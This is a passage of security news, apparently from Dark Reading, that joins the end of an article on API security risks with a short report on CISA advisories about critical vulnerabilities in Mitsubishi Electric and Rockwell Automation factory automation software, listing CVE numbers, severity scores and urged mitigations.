Other examples include APIs that use unvalidated SQL inputs, expose implementation details, are too complex and bloated, handle errors in an insecure manner, or have inconsistent naming and structure.

In addition, a poorly designed API can sometimes ignore business logic inconsistencies, Rago says. Examples include ecommerce APIs that allow users to manipulate prices or make modifications that enable overly permissive access to accounts and transactions. Imperva's "State of API Security 2024" report, in fact, identified business logic abuse as last year's top attack on APIs. These attacks accounted for 27% of all API related attacks in 2023, an increase of some 10% over the prior year.

"Both abuse of badly designed APIs or attacks leveraged against a business logic vulnerability can be addressed by leveraging specialized behavioral threat protection that can decipher not just anomalous usage but discern malicious intent behind an API consumer," Rago notes.

As Imperva vice president of API security Lebin Cheng wrote in an op-ed earlier this year, poorly made API design decisions can have a lasting impact on organizations and their customers. APIs, for instance, could cause serious performance bottlenecks if developers fail to consider scalability requirements when designing them. Similarly, by focusing mostly on business needs, developers can often overlook common security issues, such as buffer overflow errors, during design time, Cheng wrote. 

"The issue of poor API design is further compounded by the fact that there are no strict standards for how APIs should be designed," he said. "This leaves it up to individual developers to determine the best way to implement and develop APIs, which means that poor design decisions can easily slip through the cracks."

**Lack of Visibility**

APIs have emerged as a top attack vector for threat actors because of their near ubiquitous use. Imperva's research showed organizations, on average, have 613 API endpoints per account. The security vendor found API traffic to account for 71% of all Web traffic in 2023, with the average enterprise making 1.5 billion API calls per year.

Despite the proliferating use and corresponding risk exposure, many organizations don't have enough visibility over their APIs.

"New methods are required to discover and test APIs," says Kimm Yeo, solutions manager at Black Duck.

Organizations need to start thinking about API security in a more proactive manner, Yeo advocates. That means implementing capabilities to discover and inspect APIs earlier in the software development life cycle, she says. The goal should be to ensure APIs and applications are continuously tested before they get into production.

"Today's API security solutions largely focus on implementing API discovery during production, \[where\] any critical alerts produced are difficult to trace to the code," she says. This can make it impossible for developers to fix identified issues, Yeo adds.

The pressing issue for most organizations is their lack of inventory of all externally facing APIs, says Krishna Vishnubhotla, vice president of product strategy at Zimperium.

"It's critical to act quickly as bad actors are exploiting this gap," he says. "The first step is to urgently discover and inventory all these public APIs, followed by immediate measures to secure them.

**Inadequate Security Testing**

Many organizations are failing to prioritize API security adequately and often underestimate the unique risks APIs pose. Postman's survey found just 37% of organizations currently do automated scanning and regular penetration tests to try and catch API vulnerabilities earlier in the development life cycle. Relatively few have integrated security testing and checks in their API development process or centralized API monitoring capabilities.

Organizations that embrace API-first strategies — where APIs are a priority focus during the software planning, design, architecture, and development process — are seeing better success on the API security front, says Salt Security's Rago.

"Those organizations typically enforce 'spec-first development,' meaning an API must be 'blueprinted' with Swagger or OAS and approved before a line of code is written," he says. "You need to blueprint the hospital first and validate its construction against the plan before you let patients in. Seems obvious, but in most organizations that is still not the way it works."

API risks fall under two big categories: access and availability, Wallarm's Novikov says. Attackers either gain access to something they shouldn't or they can take an API offline by impacting its availability.

"There are lots of technical details about how they might accomplish these objectives, but they all bubble up to these two outcomes," Novikov says.

At a high level, the key protections against these risks are strong authentication and authorization across all API endpoints, he says.

"That means knowing all the APIs you have, which should require authentication, strictly checking authorization on the server side, and implementing advanced rate limiting to slow attackers down," he advises. "These mitigations are best practices, but that doesn't mean they're common practices."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

4 Main API Security Risks Organizations Need to Address

Factory automation software from Mitsubishi Electric and Rockwell Automation could be subject to remote code execution (RCE), denial-of-service (DoS), and more.

Source: frans lemmens via Alamy Stock Photo

Critical security vulnerabilities affecting factory automation software from Mitsubishi Electric and Rockwell Automation could variously allow remote code execution (RCE), authentication bypass, product tampering, or denial-of-service (DoS).

That's according to the US Cybersecurity and Infrastructure Security Agency (CISA), which warned yesterday that an attacker could exploit the Mitsubishi Electric bug (CVE-2023-6943, CVSS score of 9.8) by calling a function with a path to a malicious library while connected to the device — resulting in authentication bypass, RCE, DoS, or data manipulation.

The Rockwell Automation bug (CVE-2024-10386, CVSS 9.8), meanwhile, stems from a missing authentication check; a cyberattacker with network access could exploit it by sending crafted messages to a device, potentially resulting in database manipulation.

The critical vulnerabilities are two out of several issues affecting Mitsubishi's and Rockwell Automation's smart-factory portfolios, all listed in CISA's Halloween disclosure. Both industrial control systems (ICS) suppliers have issued mitigations for manufacturers to follow in order to avoid future compromise.

The noncritical bugs include:

*   An out-of-bounds read that could result in DoS (CVE-2024-10387, CVSS 7.5) also affects the Rockwell Automation FactoryTalk ThinManager.
    
*   A remote unauthenticated attacker may be able to bypass authentication in Mitsubishi Electric FA Engineering Software Products by sending specially crafted packets (CVE-2023-6942, CVSS 7.5). And the Mitsubishi Electric portfolio is also vulnerable to several lower-severity bugs, CISA noted.
    
*   An authentication bypass vulnerability in the Mitsubishi Electric MELSEC iQ-R Series/iQ-F Series (CVE-2023-2060, CVSS 8.7) exists in its FTP function on EtherNet/IP modules. Weak password requirements could allow a remote, unauthenticated attacker to access the module via FTP by dictionary attack or password sniffing. Meanwhile, several other lower-severity issues also affect the platform, CISA noted.
    

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Manufacturers should apply patches and mitigations as soon as possible, given that smart factories are among the most-targeted ICS sectors. The news also comes as nation-state attacks on US critical infrastructure have ramped up, with CISA warning that both Russian and Chinese advanced persistent threats (APTs) show no signs of letting up their assaults on utilities, telecoms, and other high-value targets. Canada as well recently warned of sustained cyber assaults from China on its critical infrastructure footprint.

Related:IT Security Centralization Makes the Use of Industrial Spies More Profitable

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Latest News